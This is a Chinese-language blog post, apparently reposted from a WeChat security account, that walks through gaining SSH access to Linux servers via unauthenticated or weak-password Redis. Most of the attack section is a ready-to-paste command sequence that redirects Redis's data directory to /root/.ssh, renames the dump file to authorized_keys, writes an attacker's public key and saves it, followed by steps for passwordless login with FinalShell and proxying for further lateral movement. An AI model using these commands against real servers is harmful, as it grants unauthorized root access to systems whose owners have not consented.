Part1 前言
大家好,我是ABC_123。近几年在内网横向过程中,经常会遇到Redis未授权访问漏洞或者Redis弱密码的情况,通过修改Redis配置写入SSH公钥,可以间接获取Linux服务器的权限,已经成为内网横向的一个常规操作。网上的方法大多是需要使用kali linux,生成一个公私钥配对,然后一系列繁琐步骤,还比较容易出错。那么我们有没有办法可以直接用Windows对redis linux进行利用,而且操作步骤还简单呢?于是ABC_123经过研究,给出一个好的解决办法,以实现对redis的快速利用。
Part2 技术研究过程
经过反复实验,在内网横向中,每次对redis数据库进行利用的时候,只需要依次复制黏贴输入以下5个命令,即可快速完成对redis数据库服务器的SSH免密登录,非常方便。
- 具体操作步骤
首先从网上下载一个Windows下编译好的Redis客户端,其中 redis-cli.exe 是用于连接 Redis 数据库的命令行工具。
使用以下命令,将 Redis 的数据目录更改为 /tmp。通过查看命令是否执行成功,判断Redis主机是否是Linux主机以及是否有相应操作权限。
config set dir /tmp
判断Redis服务器是否有.ssh目录并且是否有root权限,部分情况下,目录路径不能使用 /root/.ssh/ 这样的形式,即不能加反斜杠。
config set dir /root/.ssh
将 Redis 的 dbfilename 设置为 authorized_keys,以便后续向authorized_keys文件中写入ssh公钥:
config set dbfilename authorized_keys
执行以下命令,将生成的 SSH 公钥写入目标服务器的 authorized_keys 文件中,以实现Linux系统免密登录。
set x "nnnssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAx8d8eNjEFNyGhtc72gnFMRdQbD80bMmrf2xKD2rjA3cbxrKwV9Eo+2pMpmt1+lXkqrl14gSAIS8pm3LteHZpzPB/0ltiOScEUm1O895T38cj/YR8hf3vLU8XEhFTHWnBZeqMcHE0C6nQghxV/uQQLL3ZwtELgOFM1yaT+h2wOCiLDFVeF002lt/HpsAZ4ohR3980PKL6u+cklQffD9xtRvk4EOzvN22E90Fi3Tr0pS9VaHyAefOwQ4olEldhLkrlwyndrYqwi6JKdEYEtb8xEdB/moR3Cq9fZ00SrXRT94zFO+NYjcnc6QO7y5DHuQGtGmrSVg47XgSeZU/ZMUpJJw== root@kalinnn"
输入save,保存 Redis 配置并写入 SSH 公钥文件。
接下来,使用 FinalShell 连接 Redis 服务器,认证方式选择 “公钥”。
点击”确认“之后,不用输入密码就可以免密钥登录Redis数据库所在的服务器了。
本地 Windows 计算机可以挂载 Proxifier 代理,在进行后续的 Linux 服务器渗透时,更方便利用 Redis 相关漏洞。
- FinalShell导入私钥文件
如果FinalShell工具之前没有导入过私钥文件,那么在选择公钥连接的时候会弹出提示:“需要导入公钥对应的私钥文件“:
此时我们首先需要生成一个公私钥配对,这里就不过多叙述了。然后FinalShell选择一个私钥文件id_rsa_2048,私钥密码是123456。
点击确认就可以了。
Part3 总结
1. FinalShell导入一次私钥文件之后就会加载到软件当中,后续利用SSH免登录的时候,按照上述步骤依次操作即可。
2. 后续遇到redis数据库的漏洞利用,只需要依次执行上述5个命令即可,非常快速且方便,不容易出错,而我们只需要留存好私钥和公钥文件即可。
公众号专注于网络安全技术,包括安全咨询、APT事件分析、红队攻防、蓝队分析、渗透测试、代码审计等,99%原创,敬请关注。
Contact me: 0day123abc#gmail.com
(replace # with @)
原文始发于微信公众号(希潭实验室):第118篇:Redis未授权访问漏洞与SSH免密登录的简易操作方法
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论